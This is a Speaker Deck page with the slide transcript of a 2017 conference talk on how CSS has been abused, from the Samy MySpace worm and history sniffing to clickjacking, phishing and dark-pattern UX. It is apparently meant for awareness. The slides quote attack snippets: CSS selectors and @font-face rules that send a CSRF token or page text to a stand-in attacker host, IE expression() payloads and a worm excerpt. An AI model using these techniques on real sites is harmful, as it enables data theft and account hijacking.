Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.2k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
96
The Tail and Its Dog
stephenhay
1
290
From Deception to Clarity
stephenhay
4
590
Sculpting Text
stephenhay
4
790
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
490
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
520
Flexbox: One Giant Leap for Web Layout
stephenhay
6
390
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
910
Flexbox: One Giant Leap for Web Layout
stephenhay
5
160
Other Decks in Design
See All in Design
コラボレーションを小さくはじめ、大きく広める - 相互理解のためのデザイン&開発交流会, Friends of Figma Tokyo by Yasuhiro Yokota
yasuhiroyokota
2
1.2k
他人事じゃないWebアクセシビリティ入門
arihiro17
0
220
Web 組版の課題とその解法
yamatoiizuka
0
110
意志と、デザインと、ときどきお金
transit_kix
2
2.2k
デザインテクノロジストが先導する プロダクト開発の世界
degudegu2510
1
360
あらゆる場面でデザインを駆使するための技術 / Techniques for Applying Design in Any Situation
akiramotomura
4
2.2k
Product-Writing
aguringo
6
2.8k
IPの世界観に寄り添う、マルチブランドなカラーシステム設計
jirosh1998
0
3.5k
JBUG東京#22登壇資料_日頃クライアントワークを行っているディレクターが自社コーポレートサイトリニューアルを担当して学んだこと
webnaut
0
200
Data+Diversity: Celebrating W.E.B Du Bois through Data Visualization
ajstarks
0
310
PRDがデザインプロセスを高速化した話
tooomo
1
320
良いアプリケーションをデザインするための感覚の持ち方 / Cultivating a Sense for Designing Great Applications
usagimaru
23
7.8k
Featured
See All Featured
A Modern Web Designer's Workflow
chriscoyier
689
190k
How to train your dragon (web standard)
notwaldorf
73
5.2k
Product Roadmaps are Hard
iamctodd
44
9.7k
Imperfection Machines: The Place of Print at Facebook
scottboms
260
12k
Embracing the Ebb and Flow
colly
80
4.1k
Mobile First: as difficult as doing things right
swwweet
216
8.6k
Designing for Performance
lara
601
67k
Easily Structure & Communicate Ideas using Wireframe
afnizarnur
187
16k
Ruby is Unlike a Banana
tanoku
96
10k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
274
13k
Debugging Ruby Performance
tmm1
70
11k
5 minutes of I Can Smell Your CMS
philhawksworth
199
19k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens